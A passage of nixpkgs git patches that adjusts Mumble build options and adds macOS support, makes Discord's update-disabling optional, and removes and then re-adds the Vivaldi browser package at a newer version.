-  speex,
   libcap,
   alsa-lib,
   python3,
@@ -103,6 +103,7 @@ let
           libopus
           libsndfile
           libvorbis
+          speexdsp
           qt5.qtsvg
           rnnoise
         ]

From a6a2def1f096a4de422881e295472a5cd50e0c5d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=80=AErekc=C3=A4H=20nitraM=E2=80=AE?=
 <spamfaenger@gmx.de>
Date: Tue, 4 Mar 2025 10:56:06 +0100
Subject: [PATCH 0349/4511] mumble: Remove superfluous bundled-opus option

There is no such option anymore, as unbundled opus is now the only
supported option. See upstream d11fd05062f5684b3ffb698eb4cd3130356b6e9a
for details.

(cherry picked from commit 6263af24d5cbda2eb4b13c7ad59a47c9b3f34143)
---
 pkgs/applications/networking/mumble/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index 00683dd5d7fe..dfdbae3e4148 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -113,10 +113,10 @@ let
         ++ lib.optional pulseSupport libpulseaudio
         ++ lib.optional pipewireSupport pipewire;
 
+
       cmakeFlags = [
         "-D server=OFF"
         "-D bundled-celt=ON"
-        "-D bundled-opus=OFF"
         "-D bundled-speex=OFF"
         "-D bundle-qt-translations=OFF"
         "-D update=OFF"

From fc129164a0609f6f4b7c8bb909aa3a8be4ca9ec3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=80=AErekc=C3=A4H=20nitraM=E2=80=AE?=
 <spamfaenger@gmx.de>
Date: Tue, 4 Mar 2025 11:18:21 +0100
Subject: [PATCH 0350/4511] mumble: Remove superfluous bundled-celt option

This option has been removed by upstream for a long time, as nobody uses
that codec anymore.

For details see upstream 4d05018c2e4f1bda48f6244b38f1e7bdc06de808

(cherry picked from commit 353f43c6766c5d6b7b14d800512a85415969f043)
---
 pkgs/applications/networking/mumble/default.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index dfdbae3e4148..d29a807bc23e 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -116,7 +116,6 @@ let
 
       cmakeFlags = [
         "-D server=OFF"
-        "-D bundled-celt=ON"
         "-D bundled-speex=OFF"
         "-D bundle-qt-translations=OFF"
         "-D update=OFF"

From 0e37504024a9b3adb472b4153b0cd9389242feac Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=80=AErekc=C3=A4H=20nitraM=E2=80=AE?=
 <spamfaenger@gmx.de>
Date: Tue, 4 Mar 2025 10:48:32 +0100
Subject: [PATCH 0351/4511] mumble: enable building on darwin

(cherry picked from commit b3277d1ce69c04f4b4b37d83728b4d33dfcf9d79)
---
 .../networking/mumble/default.nix             | 75 ++++++++++++++-----
 .../mumble/disable-overlay-build.patch        | 21 ++++++
 .../networking/mumble/fix-plugin-copy.patch   | 13 ++++
 3 files changed, 92 insertions(+), 17 deletions(-)
 create mode 100644 pkgs/applications/networking/mumble/disable-overlay-build.patch
 create mode 100644 pkgs/applications/networking/mumble/fix-plugin-copy.patch

diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index d29a807bc23e..5e9c5aac5848 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -2,7 +2,6 @@
   lib,
   stdenv,
   fetchFromGitHub,
-  fetchpatch,
   pkg-config,
   qt5,
   cmake,
@@ -22,11 +21,12 @@
   libogg,
   libvorbis,
   stdenv_32bit,
+  alsaSupport ? stdenv.hostPlatform.isLinux,
   iceSupport ? true,
   zeroc-ice,
   jackSupport ? false,
   libjack2,
-  pipewireSupport ? true,
+  pipewireSupport ? stdenv.hostPlatform.isLinux,
   pipewire,
   pulseSupport ? true,
   libpulseaudio,
@@ -34,6 +34,8 @@
   speechd-minimal,
   microsoft-gsl,
   nlohmann_json,
+  xar,
+  makeWrapper,
 }:
 
 let
@@ -54,14 +56,16 @@ let
           qt5.qttools
         ] ++ (overrides.nativeBuildInputs or [ ]);
 
-        buildInputs = [
-          avahi
-          boost
-          poco
-          protobuf
-          microsoft-gsl
-          nlohmann_json
-        ] ++ (overrides.buildInputs or [ ]);
+        buildInputs =
+          [
+            boost
+            poco
+            protobuf
+            microsoft-gsl
+            nlohmann_json
+          ]
+          ++ lib.optionals stdenv.hostPlatform.isLinux [ avahi ]
+          ++ (overrides.buildInputs or [ ]);
 
         cmakeFlags = [
           "-D g15=OFF"
@@ -85,7 +89,7 @@ let
             felixsinger
             lilacious
           ];
-          platforms = platforms.linux;
+          platforms = platforms.linux ++ (overrides.platforms or [ ]);
         };
       }
     );
@@ -95,7 +99,13 @@ let
     generic {
       type = "mumble";
 
-      nativeBuildInputs = [ qt5.qttools ];
+      platforms = lib.platforms.darwin;
+      nativeBuildInputs =
+        [ qt5.qttools ]
+        ++ lib.optionals stdenv.hostPlatform.isDarwin [
+          makeWrapper
+        ];
+
       buildInputs =
         [
           flac
@@ -107,12 +117,14 @@ let
           qt5.qtsvg
           rnnoise
         ]
-        ++ lib.optional (!jackSupport) alsa-lib
+        ++ lib.optional (!jackSupport && alsaSupport) alsa-lib
         ++ lib.optional jackSupport libjack2
         ++ lib.optional speechdSupport speechd-minimal
         ++ lib.optional pulseSupport libpulseaudio
-        ++ lib.optional pipewireSupport pipewire;
-
+        ++ lib.optional pipewireSupport pipewire
+        ++ lib.optionals stdenv.hostPlatform.isDarwin [
+          xar
+        ];
 
       cmakeFlags = [
         "-D server=OFF"
@@ -122,16 +134,44 @@ let
         "-D overlay-xcompile=OFF"
         "-D oss=OFF"
         "-D warnings-as-errors=OFF" # conversion error workaround
+        # building the overlay on darwin does not work in nipxkgs (yet)
+        # also see the patch below to disable scripts the build option misses
+        # see https://github.com/mumble-voip/mumble/issues/6816
+        (lib.cmakeBool "overlay" (!stdenv.hostPlatform.isDarwin))
         (lib.cmakeBool "speechd" speechdSupport)
         (lib.cmakeBool "pulseaudio" pulseSupport)
         (lib.cmakeBool "pipewire" pipewireSupport)
         (lib.cmakeBool "jackaudio" jackSupport)
-        (lib.cmakeBool "alsa" (!jackSupport))
+        (lib.cmakeBool "alsa" (!jackSupport && alsaSupport))
       ];
 
       env.NIX_CFLAGS_COMPILE = lib.optionalString speechdSupport "-I${speechd-minimal}/include/speech-dispatcher";
 
-      postFixup = ''
+      patches = [
+        ./disable-overlay-build.patch
+        ./fix-plugin-copy.patch
+      ];
+
+      postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
+        # The build erraneously marks the *.dylib as executable
+        # which causes the qt-hook to wrap it, which then prevents the app from loading it
+        chmod -x $out/lib/mumble/plugins/*.dylib
+
+        # Post-processing for the app bundle
+        $NIX_BUILD_TOP/source/macx/scripts/osxdist.py \
+          --source-dir=$NIX_BUILD_TOP/source/ \
+          --binary-dir=$out \
+          --only-appbundle \
+          --version "${source.version}"
+
+        mkdir -p $out/Applications $out/bin
+        mv $out/Mumble.app $out/Applications/Mumble.app
+
+        # ensure that the app can be started from the shell
+        makeWrapper $out/Applications/Mumble.app/Contents/MacOS/mumble $out/bin/mumble
+      '';
+
+      postFixup = lib.optionalString stdenv.hostPlatform.isLinux ''
         wrapProgram $out/bin/mumble \
           --prefix LD_LIBRARY_PATH : "${
             lib.makeLibraryPath (
@@ -139,6 +179,7 @@ let
             )
           }"
       '';
+
     } source;
 
   server =
diff --git a/pkgs/applications/networking/mumble/disable-overlay-build.patch b/pkgs/applications/networking/mumble/disable-overlay-build.patch
new file mode 100644
index 000000000000..9d2aff0d8da0
--- /dev/null
+++ b/pkgs/applications/networking/mumble/disable-overlay-build.patch
@@ -0,0 +1,21 @@
+diff --git a/macx/scripts/osxdist.py b/macx/scripts/osxdist.py
+index bdc7fcbd2..2114caf37 100755
+--- a/macx/scripts/osxdist.py
++++ b/macx/scripts/osxdist.py
+@@ -128,7 +128,7 @@ class AppBundle(object):
+ 				shutil.copy(rsrc, os.path.join(rsrcpath, b))
+
+ 		# Extras
+-		shutil.copy(os.path.join(options.binary_dir, 'MumbleOverlay.pkg'), os.path.join(rsrcpath, 'MumbleOverlay.pkg'))
++		# shutil.copy(os.path.join(options.binary_dir, 'MumbleOverlay.pkg'), os.path.join(rsrcpath, 'MumbleOverlay.pkg'))
+
+ 	def copy_codecs(self):
+ 		'''
+@@ -275,7 +276,7 @@ def package_client():
+ 		title = 'Mumble %s' % ver
+
+ 	# Fix overlay installer package
+-	create_overlay_package()
++	# create_overlay_package()
+ 	if options.only_overlay:
+ 		sys.exit(0)
diff --git a/pkgs/applications/networking/mumble/fix-plugin-copy.patch b/pkgs/applications/networking/mumble/fix-plugin-copy.patch
new file mode 100644
index 000000000000..e8c503944b42
--- /dev/null
+++ b/pkgs/applications/networking/mumble/fix-plugin-copy.patch
@@ -0,0 +1,13 @@
+diff --git a/macx/scripts/osxdist.py b/macx/scripts/osxdist.py
+index bdc7fcbd2..2114caf37 100755
+--- a/macx/scripts/osxdist.py
++++ b/macx/scripts/osxdist.py
+@@ -151,7 +151,7 @@ class AppBundle(object):
+ 		dst = os.path.join(self.bundle, 'Contents', 'Plugins')
+ 		if not os.path.exists(dst):
+ 			os.makedirs(dst)
+-		for plugin in glob.glob(os.path.join(options.binary_dir, 'plugins') + '/*.dylib'):
++		for plugin in glob.glob(os.path.join(options.binary_dir, 'lib/mumble/plugins') + '/*.dylib'):
+ 			shutil.copy(plugin, dst)
+
+ 	def update_plist(self):

From a5f0f97fc4a7369356ecacb404cc67cf357d9041 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Martin=20Ha=CC=88cker?= <mhaecker@mac.com>
Date: Mon, 3 Mar 2025 20:22:21 +0100
Subject: [PATCH 0352/4511] mumble: darwin: Fix missing version information in
 finder

Reported upstream at https://github.com/mumble-voip/mumble/issues/6741

(cherry picked from commit 50a753f1e511eff9a8a37b07a7e5a54153b33215)
---
 pkgs/applications/networking/mumble/default.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/pkgs/applications/networking/mumble/default.nix b/pkgs/applications/networking/mumble/default.nix
index 5e9c5aac5848..2b85dcdf17d1 100644
--- a/pkgs/applications/networking/mumble/default.nix
+++ b/pkgs/applications/networking/mumble/default.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch,
   pkg-config,
   qt5,
   cmake,
@@ -150,6 +151,12 @@ let
       patches = [
         ./disable-overlay-build.patch
         ./fix-plugin-copy.patch
+        # Can be removed before the next update of Mumble, as that fix was upstreamed
+        # fix version display in MacOS Finder
+        (fetchpatch {
+          url = "https://github.com/mumble-voip/mumble/commit/fbd21bd422367bed19f801bf278562f567cbb8b7.patch";
+          sha256 = "sha256-qFhC2j/cOWzAhs+KTccDIdcgFqfr4y4VLjHiK458Ucs=";
+        })
       ];
 
       postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''

From 0b041bba27993118d72c38cf25e46b4c1cac799c Mon Sep 17 00:00:00 2001
From: diniamo <diniamo53@gmail.com>
Date: Sat, 31 May 2025 20:24:21 +0200
Subject: [PATCH 0353/4511] discord: allow not disabling updates

(cherry picked from commit 2605d3a9dbf9ac92632bbfb1e7dd41187ada2f48)
---
 .../networking/instant-messengers/discord/linux.nix         | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/linux.nix b/pkgs/applications/networking/instant-messengers/discord/linux.nix
index bf94609409a8..be1542797e95 100644
--- a/pkgs/applications/networking/instant-messengers/discord/linux.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/linux.nix
@@ -66,6 +66,10 @@
   moonlight,
   withTTS ? true,
   enableAutoscroll ? false,
+  # Disabling this would normally break Discord.
+  # The intended use-case for this is when SKIP_HOST_UPDATE is enabled via other means,
+  # for example if a settings.json is linked declaratively (e.g., with home-manager).
+  disableUpdates ? true,
 }:
 assert lib.assertMsg (
   !(withMoonlight && withVencord)
@@ -180,7 +184,7 @@ stdenv.mkDerivation rec {
         ${lib.strings.optionalString enableAutoscroll "--add-flags \"--enable-blink-features=MiddleClickAutoscroll\""} \
         --prefix XDG_DATA_DIRS : "${gtk3}/share/gsettings-schemas/${gtk3.name}/" \
         --prefix LD_LIBRARY_PATH : ${libPath}:$out/opt/${binaryName} \
-        --run "${lib.getExe disableBreakingUpdates}"
+        ${lib.strings.optionalString disableUpdates "--run ${lib.getExe disableBreakingUpdates}"}
 
     ln -s $out/opt/${binaryName}/${binaryName} $out/bin/
     # Without || true the install would fail on case-insensitive filesystems

From ee8bbcb73ba53f9a21d65796b3d3ae8f86334b86 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Thu, 29 May 2025 11:17:51 +0200
Subject: [PATCH 0354/4511] vivaldi: drop

The listed maintainers did not touch nixpkgs for at least 6 months.

The package is only updated from time to time only thanks to
the update bot and drive-by committers. This is not a sustainable
way to maintain a security-critical package.

(cherry picked from commit c68cec88010e9081baaa9ccdede291c3e1b7558b)
---
 .../networking/browsers/vivaldi/default.nix   | 251 ------------------
 .../browsers/vivaldi/update-vivaldi.sh        |  15 --
 .../networking/browsers/vivaldi/update.sh     |  47 ----
 pkgs/top-level/aliases.nix                    |   1 +
 pkgs/top-level/all-packages.nix               |   2 -
 5 files changed, 1 insertion(+), 315 deletions(-)
 delete mode 100644 pkgs/applications/networking/browsers/vivaldi/default.nix
 delete mode 100755 pkgs/applications/networking/browsers/vivaldi/update-vivaldi.sh
 delete mode 100755 pkgs/applications/networking/browsers/vivaldi/update.sh

diff --git a/pkgs/applications/networking/browsers/vivaldi/default.nix b/pkgs/applications/networking/browsers/vivaldi/default.nix
deleted file mode 100644
index ff6fe11e6d50..000000000000
--- a/pkgs/applications/networking/browsers/vivaldi/default.nix
+++ /dev/null
@@ -1,251 +0,0 @@
-{
-  lib,
-  stdenv,
-  coreutils,
-  fetchurl,
-  zlib,
-  libX11,
-  libXext,
-  libSM,
-  libICE,
-  libxkbcommon,
-  libxshmfence,
-  libXfixes,
-  libXt,
-  libXi,
-  libXcursor,
-  libXScrnSaver,
-  libXcomposite,
-  libXdamage,
-  libXtst,
-  libXrandr,
-  alsa-lib,
-  dbus,
-  cups,
-  libexif,
-  ffmpeg,
-  systemd,
-  libva,
-  libGL,
-  freetype,
-  fontconfig,
-  libXft,
-  libXrender,
-  libxcb,
-  expat,
-  libuuid,
-  libxml2,
-  glib,
-  gtk3,
-  pango,
-  gdk-pixbuf,
-  cairo,
-  atk,
-  at-spi2-atk,
-  at-spi2-core,
-  qt5,
-  libdrm,
-  libgbm,
-  vulkan-loader,
-  nss,
-  nspr,
-  patchelf,
-  makeWrapper,
-  wayland,
-  pipewire,
-  isSnapshot ? false,
-  proprietaryCodecs ? false,
-  vivaldi-ffmpeg-codecs ? null,
-  enableWidevine ? false,
-  widevine-cdm ? null,
-  commandLineArgs ? "",
-  pulseSupport ? stdenv.hostPlatform.isLinux,
-  libpulseaudio,
-  kerberosSupport ? true,
-  libkrb5,
-}:
-
-let
-  branch = if isSnapshot then "snapshot" else "stable";
-  vivaldiName = if isSnapshot then "vivaldi-snapshot" else "vivaldi";
-in
-stdenv.mkDerivation rec {
-  pname = "vivaldi";
-  version = "7.4.3684.38";
-
-  suffix =
-    {
-      aarch64-linux = "arm64";
-      x86_64-linux = "amd64";
-    }
-    .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
-
-  src = fetchurl {
-    url = "https://downloads.vivaldi.com/${branch}/vivaldi-${branch}_${version}-1_${suffix}.deb";
-    hash =
-      {
-        aarch64-linux = "sha256-SmmmEFSzAGgm9eKeTKpUFuW/UVNyXw8x8c1uRp69fbw=";
-        x86_64-linux = "sha256-h/ZcJq51gsb03V5KFlPOE9H0NonYxJNeWVg2UCQEBPs=";
-      }
-      .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
-  };
-
-  unpackPhase = ''
-    ar vx $src
-    tar -xvf data.tar.xz
-  '';
-
-  nativeBuildInputs = [
-    patchelf
-    makeWrapper
-    qt5.wrapQtAppsHook
-  ];
-
-  dontWrapQtApps = true;
-
-  buildInputs =
-    [
-      stdenv.cc.cc
-      stdenv.cc.libc
-      zlib
-      libX11
-      libXt
-      libXext
-      libSM
-      libICE
-      libxcb
-      libxkbcommon
-      libxshmfence
-      libXi
-      libXft
-      libXcursor
-      libXfixes
-      libXScrnSaver
-      libXcomposite
-      libXdamage
-      libXtst
-      libXrandr
-      atk
-      at-spi2-atk
-      at-spi2-core
-      alsa-lib
-      dbus
-      cups
-      gtk3
-      gdk-pixbuf
-      libexif
-      ffmpeg
-      systemd
-      libva
-      qt5.qtbase
-      qt5.qtwayland
-      freetype
-      fontconfig
-      libXrender
-      libuuid
-      expat
-      glib
-      nss
-      nspr
-      libGL
-      libxml2
-      pango
-      cairo
-      libdrm
-      libgbm
-      vulkan-loader
-      wayland
-      pipewire
-    ]
-    ++ lib.optional proprietaryCodecs vivaldi-ffmpeg-codecs
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional kerberosSupport libkrb5;
-
-  libPath =
-    lib.makeLibraryPath buildInputs
-    + lib.optionalString (stdenv.hostPlatform.is64bit) (
-      ":" + lib.makeSearchPathOutput "lib" "lib64" buildInputs
-    )
-    + ":$out/opt/${vivaldiName}/lib";
-
-  buildPhase =
-    ''
-      runHook preBuild
-      echo "Patching Vivaldi binaries"
-      for f in chrome_crashpad_handler vivaldi-bin vivaldi-sandbox ; do
-        patchelf \
-          --set-interpreter "$(cat $NIX_CC/nix-support/dynamic-linker)" \
-          --set-rpath "${libPath}" \
-          opt/${vivaldiName}/$f
-      done
-
-      for f in libGLESv2.so libqt5_shim.so ; do
-        patchelf --set-rpath "${libPath}" opt/${vivaldiName}/$f
-      done
-    ''
-    + lib.optionalString proprietaryCodecs ''
-      ln -s ${vivaldi-ffmpeg-codecs}/lib/libffmpeg.so opt/${vivaldiName}/libffmpeg.so.''${version%\.*\.*}
-    ''
-    + ''
-      echo "Finished patching Vivaldi binaries"
-      runHook postBuild
-    '';
-
-  dontPatchELF = true;
-  dontStrip = true;
-
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p "$out"
-      cp -r opt "$out"
-      mkdir "$out/bin"
-      ln -s "$out/opt/${vivaldiName}/${vivaldiName}" "$out/bin/vivaldi"
-      mkdir -p "$out/share"
-      cp -r usr/share/{applications,xfce4} "$out"/share
-      substituteInPlace "$out"/share/applications/*.desktop \
-        --replace /usr/bin/${vivaldiName} "$out"/bin/vivaldi
-      substituteInPlace "$out"/share/applications/*.desktop \
-        --replace vivaldi-stable vivaldi
-      local d
-      for d in 16 22 24 32 48 64 128 256; do
-        mkdir -p "$out"/share/icons/hicolor/''${d}x''${d}/apps
-        ln -s \
-          "$out"/opt/${vivaldiName}/product_logo_''${d}.png \
-          "$out"/share/icons/hicolor/''${d}x''${d}/apps/vivaldi.png
-      done
-      wrapProgram "$out/bin/vivaldi" \
-        --add-flags ${lib.escapeShellArg commandLineArgs} \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-        --set-default FONTCONFIG_FILE "${fontconfig.out}/etc/fonts/fonts.conf" \
-        --set-default FONTCONFIG_PATH "${fontconfig.out}/etc/fonts" \
-        --suffix XDG_DATA_DIRS : ${gtk3}/share/gsettings-schemas/${gtk3.name}/ \
-        --prefix PATH : ${coreutils}/bin \
-        ''${qtWrapperArgs[@]} \
-        ${lib.optionalString enableWidevine "--suffix LD_LIBRARY_PATH : ${libPath}"}
-    ''
-    + lib.optionalString enableWidevine ''
-      ln -sf ${widevine-cdm}/share/google/chrome/WidevineCdm $out/opt/${vivaldiName}/WidevineCdm
-    ''
-    + ''
-      runHook postInstall
-    '';
-
-  passthru.updateScript = ./update-vivaldi.sh;
-
-  meta = with lib; {
-    description = "Browser for our Friends, powerful and personal";
-    homepage = "https://vivaldi.com";
-    license = licenses.unfree;
-    sourceProvenance = with sourceTypes; [ binaryNativeCode ];
-    mainProgram = "vivaldi";
-    maintainers = with maintainers; [
-      otwieracz
-      badmutex
-    ];
-    platforms = [
-      "x86_64-linux"
-      "aarch64-linux"
-    ];
-  };
-}
diff --git a/pkgs/applications/networking/browsers/vivaldi/update-vivaldi.sh b/pkgs/applications/networking/browsers/vivaldi/update-vivaldi.sh
deleted file mode 100755
index 994257889ee6..000000000000
--- a/pkgs/applications/networking/browsers/vivaldi/update-vivaldi.sh
+++ /dev/null
@@ -1,15 +0,0 @@
-#!/usr/bin/env nix-shell
-#!nix-shell -i bash -p curl common-updater-scripts
-
-set -eu -o pipefail
-
-version=$(curl -sS https://vivaldi.com/download/ | sed -rne 's/.*vivaldi-stable_([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)-1_amd64\.deb.*/\1/p')
-
-update_hash() {
-    url="https://downloads.vivaldi.com/stable/vivaldi-stable_$version-1_$2.deb"
-    hash=$(nix hash to-sri --type sha256 $(nix-prefetch-url --type sha256 "$url"))
-    update-source-version vivaldi "$version" "$hash" --system=$1 --ignore-same-version
-}
-
-update_hash aarch64-linux arm64
-update_hash x86_64-linux amd64
diff --git a/pkgs/applications/networking/browsers/vivaldi/update.sh b/pkgs/applications/networking/browsers/vivaldi/update.sh
deleted file mode 100755
index 461b38e3ec44..000000000000
--- a/pkgs/applications/networking/browsers/vivaldi/update.sh
+++ /dev/null
@@ -1,47 +0,0 @@
-#!/usr/bin/env nix-shell
-#!nix-shell -i bash -p libarchive curl common-updater-scripts
-
-set -eu -o pipefail
-
-cd "$(dirname "${BASH_SOURCE[0]}")"
-root=../../../../..
-export NIXPKGS_ALLOW_UNFREE=1
-
-version() {
-  (cd "$root" && nix-instantiate --eval --strict -A "$1.version" | tr -d '"')
-}
-
-vivaldi_version_old=$(version vivaldi)
-vivaldi_version=$(curl -sS https://vivaldi.com/download/ | sed -rne 's/.*vivaldi-stable_([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)-1_amd64\.deb.*/\1/p')
-
-if [[ ! "$vivaldi_version" = "$vivaldi_version_old" ]]; then
-  echo "vivaldi is not up-to-date, not updating codecs"
-  (cd "$root" && nix-shell maintainers/scripts/update.nix --argstr package vivaldi)
-  exit
-fi
-
-echo "vivaldi is up-to-date, updating codecs"
-
-# Download vivaldi and save file path.
-url="https://downloads.vivaldi.com/stable/vivaldi-stable_${vivaldi_version}-1_amd64.deb"
-mapfile -t prefetch < <(nix-prefetch-url --print-path "$url")
-path=${prefetch[1]}
-
-nixpkgs="$(git rev-parse --show-toplevel)"
-default_nix="$nixpkgs/pkgs/applications/networking/browsers/vivaldi/default.nix"
-ffmpeg_nix="$nixpkgs/pkgs/applications/networking/browsers/vivaldi/ffmpeg-codecs.nix"
-
-# Check vivaldi-ffmpeg-codecs version.
-chromium_version_old=$(version vivaldi-ffmpeg-codecs)
-ffmpeg_update_script=$(bsdtar xOf "$path" data.tar.xz | bsdtar xOf - ./opt/vivaldi/update-ffmpeg)
-chromium_version=$(sed -rne 's/^FFMPEG_VERSION_DEB\=([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+).*/\1/p' <<< $ffmpeg_update_script)
-download_subdir=$(sed -rne 's/.*FFMPEG_URL_DEB\=https:\/\/launchpadlibrarian\.net\/([0-9]+)\/.*_amd64\.deb/\1/p' <<< $ffmpeg_update_script)
-
-if [[ "$chromium_version" != "$chromium_version_old" ]]; then
-  # replace the download prefix
-  sed -i $ffmpeg_nix -e "s/\(https:\/\/launchpadlibrarian\.net\/\)[0-9]\+/\1$download_subdir/g"
-  (cd "$root" && update-source-version vivaldi-ffmpeg-codecs "$chromium_version")
-
-  git add "${ffmpeg_nix}"
-  git commit -m "vivaldi-ffmpeg-codecs: $chromium_version_old -> $chromium_version"
-fi
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index ce503e53594d..00838c5fb667 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1967,6 +1967,7 @@ mapAliases {
   vistafonts = vista-fonts; # Added 2025-02-03
   vistafonts-chs = vista-fonts-chs; # Added 2025-02-03
   vistafonts-cht = vista-fonts-cht; # Added 2025-02-03
+  vivaldi = throw "'vivaldi' has been removed due to lack of maintenance in nixpkgs"; # Added 2025-05-29
   vkBasalt = vkbasalt; # Added 2022-11-22
   vkdt-wayland = vkdt; # Added 2024-04-19
   vocal = throw "'vocal' has been archived upstream. Consider using 'gnome-podcasts' or 'kasts' instead."; # Added 2025-04-12
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 8e486cdf386d..1069f167b163 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -13643,8 +13643,6 @@ with pkgs;
 
   organicmaps = qt6Packages.callPackage ../applications/misc/organicmaps { };
 
-  vivaldi = callPackage ../applications/networking/browsers/vivaldi { };
-
   openrazer-daemon = python3Packages.toPythonApplication python3Packages.openrazer-daemon;
 
   orpie = callPackage ../applications/misc/orpie {

From c76d1f0cda05cedf85ce287af0a6262fe445777a Mon Sep 17 00:00:00 2001
From: rewine <luhongxu@deepin.org>
Date: Sat, 31 May 2025 10:59:41 +0800
Subject: [PATCH 0355/4511] vivaldi: re-init at 7.4.3684.43

(cherry picked from commit 522ba9ed110e703c71a61fd0747656162f433839)
---
 pkgs/by-name/vi/vivaldi/package.nix       | 251 ++++++++++++++++++++++
 pkgs/by-name/vi/vivaldi/update-vivaldi.sh |  15 ++
 pkgs/top-level/aliases.nix                |   1 -
 3 files changed, 266 insertions(+), 1 deletion(-)
 create mode 100644 pkgs/by-name/vi/vivaldi/package.nix
 create mode 100755 pkgs/by-name/vi/vivaldi/update-vivaldi.sh

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
new file mode 100644
index 000000000000..a81ca5c5f2f8
--- /dev/null
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -0,0 +1,251 @@
+{
+  lib,
+  stdenv,
+  coreutils,
+  fetchurl,
+  zlib,
+  libX11,
+  libXext,
+  libSM,
+  libICE,
+  libxkbcommon,
+  libxshmfence,
+  libXfixes,
+  libXt,
+  libXi,
+  libXcursor,
+  libXScrnSaver,
+  libXcomposite,
+  libXdamage,
+  libXtst,
+  libXrandr,
+  alsa-lib,
+  dbus,
+  cups,
+  libexif,
+  ffmpeg,
+  systemd,
+  libva,
+  libGL,
+  freetype,
+  fontconfig,
+  libXft,
+  libXrender,
+  libxcb,
+  expat,
+  libuuid,
+  libxml2,
+  glib,
+  gtk3,
+  pango,
+  gdk-pixbuf,
+  cairo,
+  atk,
+  at-spi2-atk,
+  at-spi2-core,
+  qt5,
+  libdrm,
+  libgbm,
+  vulkan-loader,
+  nss,
+  nspr,
+  patchelf,
+  makeWrapper,
+  wayland,
+  pipewire,
+  isSnapshot ? false,
+  proprietaryCodecs ? false,
+  vivaldi-ffmpeg-codecs ? null,
+  enableWidevine ? false,
+  widevine-cdm ? null,
+  commandLineArgs ? "",
+  pulseSupport ? stdenv.hostPlatform.isLinux,
+  libpulseaudio,
+  kerberosSupport ? true,
+  libkrb5,
+}:
+
+let
+  branch = if isSnapshot then "snapshot" else "stable";
+  vivaldiName = if isSnapshot then "vivaldi-snapshot" else "vivaldi";
+in
+stdenv.mkDerivation rec {
+  pname = "vivaldi";
+  version = "7.4.3684.43";
+
+  suffix =
+    {
+      aarch64-linux = "arm64";
+      x86_64-linux = "amd64";
+    }
+    .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
+
+  src = fetchurl {
+    url = "https://downloads.vivaldi.com/${branch}/vivaldi-${branch}_${version}-1_${suffix}.deb";
+    hash =
+      {
+        aarch64-linux = "sha256-/Zmxwm65HjIL/JdWJtvcgxk4Bj4VcTXr/px6eCJHy0I=";
+        x86_64-linux = "sha256-tDGoew5jEOqoHIHSvoOsBcuEzq817YT0pFSO3Li48OU=";
+      }
+      .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
+  };
+
+  unpackPhase = ''
+    ar vx $src
+    tar -xvf data.tar.xz
+  '';
+
+  nativeBuildInputs = [
+    patchelf
+    makeWrapper
+    qt5.wrapQtAppsHook
+  ];
+
+  dontWrapQtApps = true;
+
+  buildInputs =
+    [
+      stdenv.cc.cc
+      stdenv.cc.libc
+      zlib
+      libX11
+      libXt
+      libXext
+      libSM
+      libICE
+      libxcb
+      libxkbcommon
+      libxshmfence
+      libXi
+      libXft
+      libXcursor
+      libXfixes
+      libXScrnSaver
+      libXcomposite
+      libXdamage
+      libXtst
+      libXrandr
+      atk
+      at-spi2-atk
+      at-spi2-core
+      alsa-lib
+      dbus
+      cups
+      gtk3
+      gdk-pixbuf
+      libexif
+      ffmpeg
+      systemd
+      libva
+      qt5.qtbase
+      qt5.qtwayland
+      freetype
+      fontconfig
+      libXrender
+      libuuid
+      expat
+      glib
+      nss
+      nspr
+      libGL
+      libxml2
+      pango
+      cairo
+      libdrm
+      libgbm
+      vulkan-loader
+      wayland
+      pipewire
+    ]
+    ++ lib.optional proprietaryCodecs vivaldi-ffmpeg-codecs
+    ++ lib.optional pulseSupport libpulseaudio
+    ++ lib.optional kerberosSupport libkrb5;
+
+  libPath =
+    lib.makeLibraryPath buildInputs
